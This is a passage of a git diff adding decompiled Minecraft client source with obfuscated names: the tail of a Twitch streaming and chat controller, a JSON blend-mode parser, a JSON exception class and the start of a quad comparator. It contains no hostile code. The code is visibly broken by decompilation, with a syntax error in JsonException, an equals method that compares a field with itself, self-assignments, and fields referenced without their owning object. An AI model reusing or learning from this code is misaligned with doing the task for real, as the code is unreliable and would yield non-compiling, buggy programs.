+        field_152952_d.func_175991_l(field_176029_e);
+      }
+    }
+    else if (var1 == 1)
+    {
+      if ((var3) && (broadcastController.func_152849_q()))
+      {
+        field_152950_b.debug(field_152949_a, "Connecting to twitch chat per user options");
+        func_152942_I();
+      }
+    }
+    else if (var1 == 0)
+    {
+      if ((var2) && (!func_152934_n()))
+      {
+        field_152950_b.debug(field_152949_a, "Disconnecting from twitch chat as user is no longer streaming");
+        field_152952_d.func_175991_l(field_176029_e);
+      }
+      else if ((var3) && (func_152934_n()))
+      {
+        field_152950_b.debug(field_152949_a, "Connecting to twitch chat as user is streaming");
+        func_152942_I();
+      }
+    }
+    
+    broadcastController.func_152821_H();
+    field_152952_d.func_152997_n();
+  }
+  
+  protected void func_152942_I()
+  {
+    ChatController.ChatState var1 = field_152952_d.func_153000_j();
+    String var2 = broadcastController.func_152843_l().name;
+    field_176029_e = var2;
+    
+    if (var1 != ChatController.ChatState.Initialized)
+    {
+      field_152950_b.warn("Invalid twitch chat state {}", new Object[] { var1 });
+    }
+    else if (field_152952_d.func_175989_e(field_176029_e) == ChatController.EnumChannelState.Disconnected)
+    {
+      field_152952_d.func_152986_d(var2);
+    }
+    else
+    {
+      field_152950_b.warn("Invalid twitch chat state {}", new Object[] { var1 });
+    }
+  }
+  
+  public void func_152922_k()
+  {
+    if ((broadcastController.isBroadcasting()) && (!broadcastController.isBroadcastPaused()))
+    {
+      long var1 = System.nanoTime();
+      long var3 = 1000000000 / field_152958_j;
+      long var5 = var1 - field_152959_k;
+      boolean var7 = var5 >= var3;
+      
+      if (var7)
+      {
+        FrameBuffer var8 = broadcastController.func_152822_N();
+        Framebuffer var9 = field_152953_e.getFramebuffer();
+        field_152956_h.bindFramebuffer(true);
+        GlStateManager.matrixMode(5889);
+        GlStateManager.pushMatrix();
+        GlStateManager.loadIdentity();
+        GlStateManager.ortho(0.0D, field_152956_h.framebufferWidth, field_152956_h.framebufferHeight, 0.0D, 1000.0D, 3000.0D);
+        GlStateManager.matrixMode(5888);
+        GlStateManager.pushMatrix();
+        GlStateManager.loadIdentity();
+        GlStateManager.translate(0.0F, 0.0F, -2000.0F);
+        GlStateManager.color(1.0F, 1.0F, 1.0F, 1.0F);
+        GlStateManager.viewport(0, 0, field_152956_h.framebufferWidth, field_152956_h.framebufferHeight);
+        GlStateManager.func_179098_w();
+        GlStateManager.disableAlpha();
+        GlStateManager.disableBlend();
+        float var10 = field_152956_h.framebufferWidth;
+        float var11 = field_152956_h.framebufferHeight;
+        float var12 = framebufferWidth / framebufferTextureWidth;
+        float var13 = framebufferHeight / framebufferTextureHeight;
+        var9.bindFramebufferTexture();
+        GL11.glTexParameterf(3553, 10241, 9729.0F);
+        GL11.glTexParameterf(3553, 10240, 9729.0F);
+        Tessellator var14 = Tessellator.getInstance();
+        WorldRenderer var15 = var14.getWorldRenderer();
+        var15.startDrawingQuads();
+        var15.addVertexWithUV(0.0D, var11, 0.0D, 0.0D, var13);
+        var15.addVertexWithUV(var10, var11, 0.0D, var12, var13);
+        var15.addVertexWithUV(var10, 0.0D, 0.0D, var12, 0.0D);
+        var15.addVertexWithUV(0.0D, 0.0D, 0.0D, 0.0D, 0.0D);
+        var14.draw();
+        var9.unbindFramebufferTexture();
+        GlStateManager.popMatrix();
+        GlStateManager.matrixMode(5889);
+        GlStateManager.popMatrix();
+        GlStateManager.matrixMode(5888);
+        broadcastController.func_152846_a(var8);
+        field_152956_h.unbindFramebuffer();
+        broadcastController.func_152859_b(var8);
+        field_152959_k = var1;
+      }
+    }
+  }
+  
+  public boolean func_152936_l()
+  {
+    return broadcastController.func_152849_q();
+  }
+  
+  public boolean func_152924_m()
+  {
+    return broadcastController.func_152857_n();
+  }
+  
+  public boolean func_152934_n()
+  {
+    return broadcastController.isBroadcasting();
+  }
+  
+  public void func_152911_a(Metadata p_152911_1_, long p_152911_2_)
+  {
+    if ((func_152934_n()) && (field_152957_i))
+    {
+      long var4 = broadcastController.func_152844_x();
+      
+      if (!broadcastController.func_152840_a(p_152911_1_.func_152810_c(), var4 + p_152911_2_, p_152911_1_.func_152809_a(), p_152911_1_.func_152806_b()))
+      {
+        field_152950_b.warn(field_152949_a, "Couldn't send stream metadata action at {}: {}", new Object[] { Long.valueOf(var4 + p_152911_2_), p_152911_1_ });
+      }
+      else
+      {
+        field_152950_b.debug(field_152949_a, "Sent stream metadata action at {}: {}", new Object[] { Long.valueOf(var4 + p_152911_2_), p_152911_1_ });
+      }
+    }
+  }
+  
+  public void func_176026_a(Metadata p_176026_1_, long p_176026_2_, long p_176026_4_)
+  {
+    if ((func_152934_n()) && (field_152957_i))
+    {
+      long var6 = broadcastController.func_152844_x();
+      String var8 = p_176026_1_.func_152809_a();
+      String var9 = p_176026_1_.func_152806_b();
+      long var10 = broadcastController.func_177946_b(p_176026_1_.func_152810_c(), var6 + p_176026_2_, var8, var9);
+      
+      if (var10 < 0L)
+      {
+        field_152950_b.warn(field_152949_a, "Could not send stream metadata sequence from {} to {}: {}", new Object[] { Long.valueOf(var6 + p_176026_2_), Long.valueOf(var6 + p_176026_4_), p_176026_1_ });
+      }
+      else if (broadcastController.func_177947_a(p_176026_1_.func_152810_c(), var6 + p_176026_4_, var10, var8, var9))
+      {
+        field_152950_b.debug(field_152949_a, "Sent stream metadata sequence from {} to {}: {}", new Object[] { Long.valueOf(var6 + p_176026_2_), Long.valueOf(var6 + p_176026_4_), p_176026_1_ });
+      }
+      else
+      {
+        field_152950_b.warn(field_152949_a, "Half-sent stream metadata sequence from {} to {}: {}", new Object[] { Long.valueOf(var6 + p_176026_2_), Long.valueOf(var6 + p_176026_4_), p_176026_1_ });
+      }
+    }
+  }
+  
+  public boolean isPaused()
+  {
+    return broadcastController.isBroadcastPaused();
+  }
+  
+  public void func_152931_p()
+  {
+    if (broadcastController.func_152830_D())
+    {
+      field_152950_b.debug(field_152949_a, "Requested commercial from Twitch");
+    }
+    else
+    {
+      field_152950_b.warn(field_152949_a, "Could not request commercial from Twitch");
+    }
+  }
+  
+  public void func_152916_q()
+  {
+    broadcastController.func_152847_F();
+    field_152962_n = true;
+    func_152915_s();
+  }
+  
+  public void func_152933_r()
+  {
+    broadcastController.func_152854_G();
+    field_152962_n = false;
+    func_152915_s();
+  }
+  
+  public void func_152915_s()
+  {
+    if (func_152934_n())
+    {
+      float var1 = field_152953_e.gameSettings.streamGameVolume;
+      boolean var2 = (field_152962_n) || (var1 <= 0.0F);
+      broadcastController.func_152837_b(var2 ? 0.0F : var1);
+      broadcastController.func_152829_a(func_152929_G() ? 0.0F : field_152953_e.gameSettings.streamMicVolume);
+    }
+  }
+  
+  public void func_152930_t()
+  {
+    GameSettings var1 = field_152953_e.gameSettings;
+    VideoParams var2 = broadcastController.func_152834_a(func_152946_b(streamKbps), func_152948_a(streamFps), func_152947_c(streamBytesPerPixel), field_152953_e.displayWidth / field_152953_e.displayHeight);
+    
+    switch (streamCompression)
+    {
+    case 0: 
+      encodingCpuUsage = EncodingCpuUsage.TTV_ECU_LOW;
+      break;
+    
+    case 1: 
+      encodingCpuUsage = EncodingCpuUsage.TTV_ECU_MEDIUM;
+      break;
+    
+    case 2: 
+      encodingCpuUsage = EncodingCpuUsage.TTV_ECU_HIGH;
+    }
+    
+    if (field_152956_h == null)
+    {
+      field_152956_h = new Framebuffer(outputWidth, outputHeight, false);
+    }
+    else
+    {
+      field_152956_h.createBindFramebuffer(outputWidth, outputHeight);
+    }
+    
+    if ((streamPreferredServer != null) && (streamPreferredServer.length() > 0))
+    {
+      IngestServer[] var3 = func_152925_v();
+      int var4 = var3.length;
+      
+      for (int var5 = 0; var5 < var4; var5++)
+      {
+        IngestServer var6 = var3[var5];
+        
+        if (serverUrl.equals(streamPreferredServer))
+        {
+          broadcastController.func_152824_a(var6);
+          break;
+        }
+      }
+    }
+    
+    field_152958_j = targetFps;
+    field_152957_i = streamSendMetadata;
+    broadcastController.func_152836_a(var2);
+    field_152950_b.info(field_152949_a, "Streaming at {}/{} at {} kbps to {}", new Object[] { Integer.valueOf(outputWidth), Integer.valueOf(outputHeight), Integer.valueOf(maxKbps), broadcastController.func_152833_s().serverUrl });
+    broadcastController.func_152828_a(null, "Minecraft", null);
+  }
+  
+  public void func_152914_u()
+  {
+    if (broadcastController.func_152819_E())
+    {
+      field_152950_b.info(field_152949_a, "Stopped streaming to Twitch");
+    }
+    else
+    {
+      field_152950_b.warn(field_152949_a, "Could not stop streaming to Twitch");
+    }
+  }
+  
+
+
+  public void func_152897_a(ErrorCode p_152897_1_)
+  {
+    if (ErrorCode.succeeded(p_152897_1_))
+    {
+      field_152950_b.debug(field_152949_a, "Login attempt successful");
+      field_152961_m = true;
+    }
+    else
+    {
+      field_152950_b.warn(field_152949_a, "Login attempt unsuccessful: {} (error code {})", new Object[] { ErrorCode.getString(p_152897_1_), Integer.valueOf(p_152897_1_.getValue()) });
+      field_152961_m = false;
+    }
+  }
+  
+
+
+  public void func_152891_a(BroadcastController.BroadcastState p_152891_1_)
+  {
+    field_152950_b.debug(field_152949_a, "Broadcast state changed to {}", new Object[] { p_152891_1_ });
+    
+    if (p_152891_1_ == BroadcastController.BroadcastState.Initialized)
+    {
+      broadcastController.func_152827_a(BroadcastController.BroadcastState.Authenticated);
+    }
+  }
+  
+  public void func_152895_a()
+  {
+    field_152950_b.info(field_152949_a, "Logged out of twitch");
+  }
+  
+  public void func_152894_a(StreamInfo p_152894_1_)
+  {
+    field_152950_b.debug(field_152949_a, "Stream info updated; {} viewers on stream ID {}", new Object[] { Integer.valueOf(viewers), Long.valueOf(streamId) });
+  }
+  
+
+
+  public void func_152893_b(ErrorCode p_152893_1_)
+  {
+    field_152950_b.warn(field_152949_a, "Issue submitting frame: {} (Error code {})", new Object[] { ErrorCode.getString(p_152893_1_), Integer.valueOf(p_152893_1_.getValue()) });
+    field_152953_e.ingameGUI.getChatGUI().printChatMessageWithOptionalDeletion(new ChatComponentText("Issue streaming frame: " + p_152893_1_ + " (" + ErrorCode.getString(p_152893_1_) + ")"), 2);
+  }
+  
+  public void func_152899_b()
+  {
+    func_152915_s();
+    field_152950_b.info(field_152949_a, "Broadcast to Twitch has started");
+  }
+  
+  public void func_152901_c()
+  {
+    field_152950_b.info(field_152949_a, "Broadcast to Twitch has stopped");
+  }
+  
+
+
+  public void func_152892_c(ErrorCode p_152892_1_)
+  {
+    if (p_152892_1_ == ErrorCode.TTV_EC_SOUNDFLOWER_NOT_INSTALLED)
+    {
+      ChatComponentTranslation var2 = new ChatComponentTranslation("stream.unavailable.soundflower.chat.link", new Object[0]);
+      var2.getChatStyle().setChatClickEvent(new ClickEvent(ClickEvent.Action.OPEN_URL, "https://help.mojang.com/customer/portal/articles/1374877-configuring-soundflower-for-streaming-on-apple-computers"));
+      var2.getChatStyle().setUnderlined(Boolean.valueOf(true));
+      ChatComponentTranslation var3 = new ChatComponentTranslation("stream.unavailable.soundflower.chat", new Object[] { var2 });
+      var3.getChatStyle().setColor(EnumChatFormatting.DARK_RED);
+      field_152953_e.ingameGUI.getChatGUI().printChatMessage(var3);
+    }
+    else
+    {
+      ChatComponentTranslation var2 = new ChatComponentTranslation("stream.unavailable.unknown.chat", new Object[] { ErrorCode.getString(p_152892_1_) });
+      var2.getChatStyle().setColor(EnumChatFormatting.DARK_RED);
+      field_152953_e.ingameGUI.getChatGUI().printChatMessage(var2);
+    }
+  }
+  
+  public void func_152907_a(IngestServerTester p_152907_1_, IngestServerTester.IngestTestState p_152907_2_)
+  {
+    field_152950_b.debug(field_152949_a, "Ingest test state changed to {}", new Object[] { p_152907_2_ });
+    
+    if (p_152907_2_ == IngestServerTester.IngestTestState.Finished)
+    {
+      field_152960_l = true;
+    }
+  }
+  
+  public static int func_152948_a(float p_152948_0_)
+  {
+    return MathHelper.floor_float(10.0F + p_152948_0_ * 50.0F);
+  }
+  
+  public static int func_152946_b(float p_152946_0_)
+  {
+    return MathHelper.floor_float(230.0F + p_152946_0_ * 3270.0F);
+  }
+  
+  public static float func_152947_c(float p_152947_0_)
+  {
+    return 0.1F + p_152947_0_ * 0.1F;
+  }
+  
+  public IngestServer[] func_152925_v()
+  {
+    return broadcastController.func_152855_t().getServers();
+  }
+  
+  public void func_152909_x()
+  {
+    IngestServerTester var1 = broadcastController.func_152838_J();
+    
+    if (var1 != null)
+    {
+      var1.func_153042_a(this);
+    }
+  }
+  
+  public IngestServerTester func_152932_y()
+  {
+    return broadcastController.isReady();
+  }
+  
+  public boolean func_152908_z()
+  {
+    return broadcastController.isIngestTesting();
+  }
+  
+  public int func_152920_A()
+  {
+    return func_152934_n() ? broadcastController.func_152816_j().viewers : 0;
+  }
+  
+  public void func_176023_d(ErrorCode p_176023_1_)
+  {
+    if (ErrorCode.failed(p_176023_1_))
+    {
+      field_152950_b.error(field_152949_a, "Chat failed to initialize");
+    }
+  }
+  
+  public void func_176022_e(ErrorCode p_176022_1_)
+  {
+    if (ErrorCode.failed(p_176022_1_))
+    {
+      field_152950_b.error(field_152949_a, "Chat failed to shutdown");
+    }
+  }
+  
+
+
+  public void func_180605_a(String p_180605_1_, ChatRawMessage[] p_180605_2_)
+  {
+    ChatRawMessage[] var3 = p_180605_2_;
+    int var4 = p_180605_2_.length;
+    
+    for (int var5 = 0; var5 < var4; var5++)
+    {
+      ChatRawMessage var6 = var3[var5];
+      func_176027_a(userName, var6);
+      
+      if (func_176028_a(modes, subscriptions, field_152953_e.gameSettings.streamChatUserFilter))
+      {
+        ChatComponentText var7 = new ChatComponentText(userName);
+        ChatComponentTranslation var8 = new ChatComponentTranslation("chat.stream." + (action ? "emote" : "text"), new Object[] { field_152954_f, var7, EnumChatFormatting.getTextWithoutFormattingCodes(message) });
+        
+        if (action)
+        {
+          var8.getChatStyle().setItalic(Boolean.valueOf(true));
+        }
+        
+        ChatComponentText var9 = new ChatComponentText("");
+        var9.appendSibling(new ChatComponentTranslation("stream.userinfo.chatTooltip", new Object[0]));
+        Iterator var10 = net.minecraft.client.gui.stream.GuiTwitchUserMode.func_152328_a(modes, subscriptions, null).iterator();
+        
+        while (var10.hasNext())
+        {
+          IChatComponent var11 = (IChatComponent)var10.next();
+          var9.appendText("\n");
+          var9.appendSibling(var11);
+        }
+        
+        var7.getChatStyle().setChatHoverEvent(new net.minecraft.event.HoverEvent(net.minecraft.event.HoverEvent.Action.SHOW_TEXT, var9));
+        var7.getChatStyle().setChatClickEvent(new ClickEvent(ClickEvent.Action.TWITCH_USER_INFO, userName));
+        field_152953_e.ingameGUI.getChatGUI().printChatMessage(var8);
+      }
+    }
+  }
+  
+
+
+  private void func_176027_a(String p_176027_1_, ChatRawMessage p_176027_2_)
+  {
+    ChatUserInfo var3 = (ChatUserInfo)field_152955_g.get(p_176027_1_);
+    
+    if (var3 == null)
+    {
+      var3 = new ChatUserInfo();
+      displayName = p_176027_1_;
+      field_152955_g.put(p_176027_1_, var3);
+    }
+    
+    subscriptions = subscriptions;
+    modes = modes;
+    nameColorARGB = nameColorARGB;
+  }
+  
+  private boolean func_176028_a(Set p_176028_1_, Set p_176028_2_, int p_176028_3_)
+  {
+    return !p_176028_1_.contains(ChatUserMode.TTV_CHAT_USERMODE_BANNED);
+  }
+  
+  public void func_176018_a(String p_176018_1_, ChatUserInfo[] p_176018_2_, ChatUserInfo[] p_176018_3_, ChatUserInfo[] p_176018_4_)
+  {
+    ChatUserInfo[] var5 = p_176018_3_;
+    int var6 = p_176018_3_.length;
+    
+
+
+    for (int var7 = 0; var7 < var6; var7++)
+    {
+      ChatUserInfo var8 = var5[var7];
+      field_152955_g.remove(displayName);
+    }
+    
+    var5 = p_176018_4_;
+    var6 = p_176018_4_.length;
+    
+    for (var7 = 0; var7 < var6; var7++)
+    {
+      ChatUserInfo var8 = var5[var7];
+      field_152955_g.put(displayName, var8);
+    }
+    
+    var5 = p_176018_2_;
+    var6 = p_176018_2_.length;
+    
+    for (var7 = 0; var7 < var6; var7++)
+    {
+      ChatUserInfo var8 = var5[var7];
+      field_152955_g.put(displayName, var8);
+    }
+  }
+  
+  public void func_180606_a(String p_180606_1_)
+  {
+    field_152950_b.debug(field_152949_a, "Chat connected");
+  }
+  
+  public void func_180607_b(String p_180607_1_)
+  {
+    field_152950_b.debug(field_152949_a, "Chat disconnected");
+    field_152955_g.clear();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public boolean func_152927_B()
+  {
+    return (field_176029_e != null) && (field_176029_e.equals(broadcastController.func_152843_l().name));
+  }
+  
+  public String func_152921_C()
+  {
+    return field_176029_e;
+  }
+  
+  public ChatUserInfo func_152926_a(String p_152926_1_)
+  {
+    return (ChatUserInfo)field_152955_g.get(p_152926_1_);
+  }
+  
+  public void func_152917_b(String p_152917_1_)
+  {
+    field_152952_d.func_175986_a(field_176029_e, p_152917_1_);
+  }
+  
+  public boolean func_152928_D()
+  {
+    return (field_152965_q) && (broadcastController.func_152858_b());
+  }
+  
+  public ErrorCode func_152912_E()
+  {
+    return !field_152965_q ? ErrorCode.TTV_EC_OS_TOO_OLD : broadcastController.func_152852_P();
+  }
+  
+  public boolean func_152913_F()
+  {
+    return field_152961_m;
+  }
+  
+  public void func_152910_a(boolean p_152910_1_)
+  {
+    field_152963_o = p_152910_1_;
+    func_152915_s();
+  }
+  
+  public boolean func_152929_G()
+  {
+    boolean var1 = field_152953_e.gameSettings.streamMicToggleBehavior == 1;
+    return (field_152962_n) || (field_152953_e.gameSettings.streamMicVolume <= 0.0F) || (var1 != field_152963_o);
+  }
+  
+  public IStream.AuthFailureReason func_152918_H()
+  {
+    return field_152964_p;
+  }
+  
+  static
+  {
+    try
+    {
+      if (net.minecraft.util.Util.getOSType() == Util.EnumOS.WINDOWS)
+      {
+        System.loadLibrary("avutil-ttv-51");
+        System.loadLibrary("swresample-ttv-0");
+        System.loadLibrary("libmp3lame-ttv");
+        
+        if (System.getProperty("os.arch").contains("64"))
+        {
+          System.loadLibrary("libmfxsw64");
+        }
+        else
+        {
+          System.loadLibrary("libmfxsw32");
+        }
+      }
+      
+      field_152965_q = true;
+    }
+    catch (Throwable var1)
+    {
+      field_152965_q = false;
+    }
+  }
+  
+  public void func_152900_a(ErrorCode p_152900_1_, AuthToken p_152900_2_) {}
+  
+  public void func_152898_a(ErrorCode p_152898_1_, GameInfo[] p_152898_2_) {}
+  
+  public void func_152896_a(IngestList p_152896_1_) {}
+  
+  public void func_176017_a(ChatController.ChatState p_176017_1_) {}
+  
+  public void func_176025_a(String p_176025_1_, ChatTokenizedMessage[] p_176025_2_) {}
+  
+  public void func_176019_a(String p_176019_1_, String p_176019_2_) {}
+  
+  public void func_176021_d() {}
+  
+  public void func_176024_e() {}
+  
+  public void func_176016_c(String p_176016_1_) {}
+  
+  public void func_176020_d(String p_176020_1_) {}
+}
diff --git a/src/minecraft/net/minecraft/client/util/JsonBlendingMode.java b/src/minecraft/net/minecraft/client/util/JsonBlendingMode.java
new file mode 100644
index 0000000..e4e4034
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/util/JsonBlendingMode.java
@@ -0,0 +1,199 @@
+package net.minecraft.client.util;
+
+import com.google.gson.JsonElement;
+import com.google.gson.JsonObject;
+import net.minecraft.client.renderer.GlStateManager;
+import net.minecraft.util.JsonUtils;
+
+public class JsonBlendingMode
+{
+  private static JsonBlendingMode field_148118_a = null;
+  private final int field_148116_b;
+  private final int field_148117_c;
+  private final int field_148114_d;
+  private final int field_148115_e;
+  private final int field_148112_f;
+  private final boolean field_148113_g;
+  private final boolean field_148119_h;
+  private static final String __OBFID = "CL_00001038";
+  
+  private JsonBlendingMode(boolean p_i45084_1_, boolean p_i45084_2_, int p_i45084_3_, int p_i45084_4_, int p_i45084_5_, int p_i45084_6_, int p_i45084_7_)
+  {
+    field_148113_g = p_i45084_1_;
+    field_148116_b = p_i45084_3_;
+    field_148114_d = p_i45084_4_;
+    field_148117_c = p_i45084_5_;
+    field_148115_e = p_i45084_6_;
+    field_148119_h = p_i45084_2_;
+    field_148112_f = p_i45084_7_;
+  }
+  
+  public JsonBlendingMode()
+  {
+    this(false, true, 1, 0, 1, 0, 32774);
+  }
+  
+  public JsonBlendingMode(int p_i45085_1_, int p_i45085_2_, int p_i45085_3_)
+  {
+    this(false, false, p_i45085_1_, p_i45085_2_, p_i45085_1_, p_i45085_2_, p_i45085_3_);
+  }
+  
+  public JsonBlendingMode(int p_i45086_1_, int p_i45086_2_, int p_i45086_3_, int p_i45086_4_, int p_i45086_5_)
+  {
+    this(true, false, p_i45086_1_, p_i45086_2_, p_i45086_3_, p_i45086_4_, p_i45086_5_);
+  }
+  
+  public void func_148109_a()
+  {
+    if (!equals(field_148118_a))
+    {
+      if ((field_148118_a == null) || (field_148119_h != field_148118_a.func_148111_b()))
+      {
+        field_148118_a = this;
+        
+        if (field_148119_h)
+        {
+          GlStateManager.disableBlend();
+          return;
+        }
+        
+        GlStateManager.enableBlend();
+      }
+      
+      org.lwjgl.opengl.GL14.glBlendEquation(field_148112_f);
+      
+      if (field_148113_g)
+      {
+        GlStateManager.tryBlendFuncSeparate(field_148116_b, field_148114_d, field_148117_c, field_148115_e);
+      }
+      else
+      {
+        GlStateManager.blendFunc(field_148116_b, field_148114_d);
+      }
+    }
+  }
+  
+  public boolean equals(Object p_equals_1_)
+  {
+    if (this == p_equals_1_)
+    {
+      return true;
+    }
+    if (!(p_equals_1_ instanceof JsonBlendingMode))
+    {
+      return false;
+    }
+    
+
+    JsonBlendingMode var2 = (JsonBlendingMode)p_equals_1_;
+    return field_148112_f == field_148112_f;
+  }
+  
+
+  public int hashCode()
+  {
+    int var1 = field_148116_b;
+    var1 = 31 * var1 + field_148117_c;
+    var1 = 31 * var1 + field_148114_d;
+    var1 = 31 * var1 + field_148115_e;
+    var1 = 31 * var1 + field_148112_f;
+    var1 = 31 * var1 + (field_148113_g ? 1 : 0);
+    var1 = 31 * var1 + (field_148119_h ? 1 : 0);
+    return var1;
+  }
+  
+  public boolean func_148111_b()
+  {
+    return field_148119_h;
+  }
+  
+  public static JsonBlendingMode func_148110_a(JsonObject p_148110_0_)
+  {
+    if (p_148110_0_ == null)
+    {
+      return new JsonBlendingMode();
+    }
+    
+
+    int var1 = 32774;
+    int var2 = 1;
+    int var3 = 0;
+    int var4 = 1;
+    int var5 = 0;
+    boolean var6 = true;
+    boolean var7 = false;
+    
+    if (JsonUtils.jsonObjectFieldTypeIsString(p_148110_0_, "func"))
+    {
+      var1 = func_148108_a(p_148110_0_.get("func").getAsString());
+      
+      if (var1 != 32774)
+      {
+        var6 = false;
+      }
+    }
+    
+    if (JsonUtils.jsonObjectFieldTypeIsString(p_148110_0_, "srcrgb"))
+    {
+      var2 = func_148107_b(p_148110_0_.get("srcrgb").getAsString());
+      
+      if (var2 != 1)
+      {
+        var6 = false;
+      }
+    }
+    
+    if (JsonUtils.jsonObjectFieldTypeIsString(p_148110_0_, "dstrgb"))
+    {
+      var3 = func_148107_b(p_148110_0_.get("dstrgb").getAsString());
+      
+      if (var3 != 0)
+      {
+        var6 = false;
+      }
+    }
+    
+    if (JsonUtils.jsonObjectFieldTypeIsString(p_148110_0_, "srcalpha"))
+    {
+      var4 = func_148107_b(p_148110_0_.get("srcalpha").getAsString());
+      
+      if (var4 != 1)
+      {
+        var6 = false;
+      }
+      
+      var7 = true;
+    }
+    
+    if (JsonUtils.jsonObjectFieldTypeIsString(p_148110_0_, "dstalpha"))
+    {
+      var5 = func_148107_b(p_148110_0_.get("dstalpha").getAsString());
+      
+      if (var5 != 0)
+      {
+        var6 = false;
+      }
+      
+      var7 = true;
+    }
+    
+    return var7 ? new JsonBlendingMode(var2, var3, var4, var5, var1) : var6 ? new JsonBlendingMode() : new JsonBlendingMode(var2, var3, var1);
+  }
+  
+
+  private static int func_148108_a(String p_148108_0_)
+  {
+    String var1 = p_148108_0_.trim().toLowerCase();
+    return var1.equals("max") ? 32776 : var1.equals("min") ? 32775 : var1.equals("reverse_subtract") ? 32779 : var1.equals("reversesubtract") ? 32779 : var1.equals("subtract") ? 32778 : var1.equals("add") ? 32774 : 32774;
+  }
+  
+  private static int func_148107_b(String p_148107_0_)
+  {
+    String var1 = p_148107_0_.trim().toLowerCase();
+    var1 = var1.replaceAll("_", "");
+    var1 = var1.replaceAll("one", "1");
+    var1 = var1.replaceAll("zero", "0");
+    var1 = var1.replaceAll("minus", "-");
+    return var1.equals("1-dstalpha") ? 773 : var1.equals("dstalpha") ? 772 : var1.equals("1-srcalpha") ? 771 : var1.equals("srcalpha") ? 770 : var1.equals("1-dstcolor") ? 775 : var1.equals("dstcolor") ? 774 : var1.equals("1-srccolor") ? 769 : var1.equals("srccolor") ? 768 : var1.equals("1") ? 1 : var1.equals("0") ? 0 : -1;
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/util/JsonException.java b/src/minecraft/net/minecraft/client/util/JsonException.java
new file mode 100644
index 0000000..6c53409
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/util/JsonException.java
@@ -0,0 +1,95 @@
+package net.minecraft.client.util;
+
+import com.google.common.collect.Lists;
+import java.io.FileNotFoundException;
+import java.io.IOException;
+import java.util.List;
+import org.apache.commons.lang3.StringUtils;
+
+public class JsonException extends IOException
+{
+  private final List field_151383_a = Lists.newArrayList();
+  private final String field_151382_b;
+  private static final String __OBFID = "CL_00001414";
+  
+  public JsonException(String p_i45279_1_)
+  {
+    field_151383_a.add(new Entry(null));
+    field_151382_b = p_i45279_1_;
+  }
+  
+  public JsonException(String p_i45280_1_, Throwable p_i45280_2_)
+  {
+    super(p_i45280_2_);
+    field_151383_a.add(new Entry(null));
+    field_151382_b = p_i45280_1_;
+  }
+  
+  public void func_151380_a(String p_151380_1_)
+  {
+    ((Entry)field_151383_a.get(0)).func_151373_a(p_151380_1_);
+  }
+  
+  public void func_151381_b(String p_151381_1_)
+  {
+    field_151383_a.get(0)).field_151376_a = p_151381_1_;
+    field_151383_a.add(0, new Entry(null));
+  }
+  
+  public String getMessage()
+  {
+    return "Invalid " + ((Entry)field_151383_a.get(field_151383_a.size() - 1)).toString() + ": " + field_151382_b;
+  }
+  
+  public static JsonException func_151379_a(Exception p_151379_0_)
+  {
+    if ((p_151379_0_ instanceof JsonException))
+    {
+      return (JsonException)p_151379_0_;
+    }
+    
+
+    String var1 = p_151379_0_.getMessage();
+    
+    if ((p_151379_0_ instanceof FileNotFoundException))
+    {
+      var1 = "File not found";
+    }
+    
+    return new JsonException(var1, p_151379_0_);
+  }
+  
+
+  public static class Entry
+  {
+    private String field_151376_a;
+    private final List field_151375_b;
+    private static final String __OBFID = "CL_00001416";
+    
+    private Entry()
+    {
+      field_151376_a = null;
+      field_151375_b = Lists.newArrayList();
+    }
+    
+    private void func_151373_a(String p_151373_1_)
+    {
+      field_151375_b.add(0, p_151373_1_);
+    }
+    
+    public String func_151372_b()
+    {
+      return StringUtils.join(field_151375_b, "->");
+    }
+    
+    public String toString()
+    {
+      return !field_151375_b.isEmpty() ? "(Unknown file) " + func_151372_b() : field_151376_a != null ? field_151376_a : !field_151375_b.isEmpty() ? field_151376_a + " " + func_151372_b() : "(Unknown file)";
+    }
+    
+    Entry(Object p_i45278_1_)
+    {
+      this();
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/util/QuadComparator.java b/src/minecraft/net/minecraft/client/util/QuadComparator.java
new file mode 100644
index 0000000..49ea654
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/util/QuadComparator.java
@@ -0,0 +1,65 @@
+package net.minecraft.client.util;
+
+import java.nio.FloatBuffer;
+import java.util.Comparator;
+
+public class QuadComparator implements Comparator
+{
+  private float field_147630_a;
+  private float field_147628_b;
+  private float field_147629_c;
+  private FloatBuffer field_147627_d;
+  private int field_178079_e;
+  private static final String __OBFID = "CL_00000958";
+  
+  public QuadComparator(FloatBuffer p_i46247_1_, float p_i46247_2_, float p_i46247_3_, float p_i46247_4_, int p_i46247_5_)
+  {
+    field_147627_d = p_i46247_1_;
+    field_147630_a = p_i46247_2_;
+    field_147628_b = p_i46247_3_;
+    field_147629_c = p_i46247_4_;
+    field_178079_e = p_i46247_5_;
+  }
+  
+  public int compare(Integer p_compare_1_, Integer p_compare_2_)
+  {
+    float var3 = field_147627_d.get(p_compare_1_.intValue()) - field_147630_a;
+    float var4 = field_147627_d.get(p_compare_1_.intValue() + 1) - field_147628_b;
+    float var5 = field_147627_d.get(p_compare_1_.intValue() + 2) - field_147629_c;
+    float var6 = field_147627_d.get(p_compare_1_.intValue() + field_178079_e + 0) - field_147630_a;
+    float var7 = field_147627_d.get(p_compare_1_.intValue() + field_178079_e + 1) - field_147628_b;
+    float var8 = field_147627_d.get(p_compare_1_.intValue() + field_178079_e + 2) - field_147629_c;
+    float var9 = field_147627_d.get(p_compare_1_.intValue() + field_178079_e * 2 + 0) - field_147630_a;
+    float var10 = field_147627_d.get(p_compare_1_.intValue() + field_178079_e * 2 + 1) - field_147628_b;
+    float var11 = field_147627_d.get(p_compare_1_.intValue() + field_178079_e * 2 + 2) - field_147629_c;
+    float var12 = field_147627_d.get(p_compare_1_.intValue() + field_178079_e * 3 + 0) - field_147630_a;
+    float var13 = field_147627_d.get(p_compare_1_.intValue() + field_178079_e * 3 + 1) - field_147628_b;
+    float var14 = field_147627_d.get(p_compare_1_.intValue() + field_178079_e * 3 + 2) - field_147629_c;
+    float var15 = field_147627_d.get(p_compare_2_.intValue()) - field_147630_a;
+    float var16 = field_147627_d.get(p_compare_2_.intValue() + 1) - field_147628_b;
+    float var17 = field_147627_d.get(p_compare_2_.intValue() + 2) - field_147629_c;
+    float var18 = field_147627_d.get(p_compare_2_.intValue() + field_178079_e + 0) - field_147630_a;
+    float var19 = field_147627_d.get(p_compare_2_.intValue() + field_178079_e + 1) - field_147628_b;
